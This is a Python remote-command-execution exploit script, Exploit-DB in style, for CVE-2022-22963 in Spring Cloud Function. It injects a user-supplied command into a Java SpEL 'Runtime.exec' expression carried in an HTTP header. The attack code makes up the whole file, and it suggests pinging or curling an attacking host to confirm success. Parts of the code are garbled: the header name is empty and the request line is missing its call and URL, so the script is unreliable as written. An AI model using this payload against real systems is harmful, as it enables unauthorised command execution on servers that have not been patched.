# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)  
# Date: 07/07/2023  
# Exploit Author: GatoGamer1155, 0bfxgh0st  
# Vendor Homepage:  
# Description: Exploit to execute commands exploiting CVE-2022-22963  
# Software Link:  
# CVE: CVE-2022-22963  
import requests, argparse, json  
parser = argparse.ArgumentParser()  
parser.add_argument("--url", type=str, help="", required=True)  
parser.add_argument("--command", type=str, help="ping -c1", required=True)  
args = parser.parse_args()  
print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")  
headers = {"": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }  
data = {"data": ""}  
request =, data=data, headers=headers)  
response = json.dumps(json.loads(request.text), indent=2)